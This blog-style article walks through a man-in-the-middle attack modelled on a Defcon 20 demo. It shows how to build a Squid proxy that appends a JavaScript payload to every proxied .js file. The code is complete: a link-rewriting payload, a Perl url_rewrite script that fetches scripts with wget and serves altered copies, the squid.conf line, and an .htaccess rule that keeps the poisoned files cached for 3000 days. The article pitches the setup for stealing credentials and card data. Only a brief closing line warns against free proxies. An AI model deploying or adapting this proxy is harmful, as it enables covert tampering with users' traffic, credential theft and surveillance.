Information Security 6 min read

Building a JavaScript‑Injecting Squid Proxy to Harvest User Data

This article explains how to set up a Linux Squid proxy that injects malicious JavaScript into every served script, captures user input, forces persistent caching, and outlines the severe security risks such as credential theft, financial fraud, DDoS abuse, and full browsing surveillance.

Architect
Architect
Architect
Building a JavaScript‑Injecting Squid Proxy to Harvest User Data

At Defcon 20, Chema Alonso demonstrated creating a JavaScript botnet using a Squid proxy to steal user data, a technique the author reproduces on a Debian virtual machine.

Basic concept: install Squid on a Linux server, modify all transferred JavaScript files to embed a payload that forwards form data to the attacker, and extend the cache lifetime so the malicious script persists in browsers.

Potential worst‑case impacts:

Steal login credentials or cookies from visited sites.

Capture banking or credit‑card information.

Force the victim’s browser to launch DDoS attacks by repeatedly loading a target site.

Monitor virtually any online activity, including mouse position.

Even when a site is loaded over HTTPS, loading insecure resources (e.g., an HTTP‑served jQuery) allows the same injection to succeed.

Implementation steps:

Step 1 – Create a payload

The payload rewrites every a tag’s href to point to the attacker’s site.

for (var i = 0; i < document.getElementsByTagName('a').length; i++) {
    document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";
}

Step 2 – Inject the script into all requested .js files

A Perl URL‑rewrite program ( poison.pl ) intercepts .js requests, downloads the original file with wget , appends the payload, and serves the modified file.

#!/usr/bin/perl
$	=1;
$count = 0;
$pid = $$;
while (<>) {
    chomp $_;
    if ($_ =~ /(.*\.js)/i) {
        $url = $1;
        system("/usr/bin/wget", "-q", "-O", "/var/www/tmp/$pid-$count.js", $url);
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
        print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
    } else {
        print "$_\n";
    }
    $count++;
}

Step 3 – Tell Squid to use the rewrite program

Add the following line to /etc/squid/squid.conf :

url_rewrite_program /etc/squid/poison.pl

Step 4 – Make the cache never expire

Create /var/www/tmp/.htaccess with:

ExpiresActive On
ExpiresDefault "access plus 3000 days"

Restart Squid, then any client using the proxy will see normal pages but all links will point to the attacker’s site; the modified JavaScript remains cached even after the proxy is disconnected.

The author warns that free proxies often perform such malicious modifications, so users should avoid them.

ProxyLinuxSecurityJavaScript InjectionPerlSquid
Architect
Written by

Architect

Professional architect sharing high‑quality architecture insights. Topics include high‑availability, high‑performance, high‑stability architectures, big data, machine learning, Java, system and distributed architecture, AI, and practical large‑scale architecture case studies. Open to ideas‑driven architects who enjoy sharing and learning.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.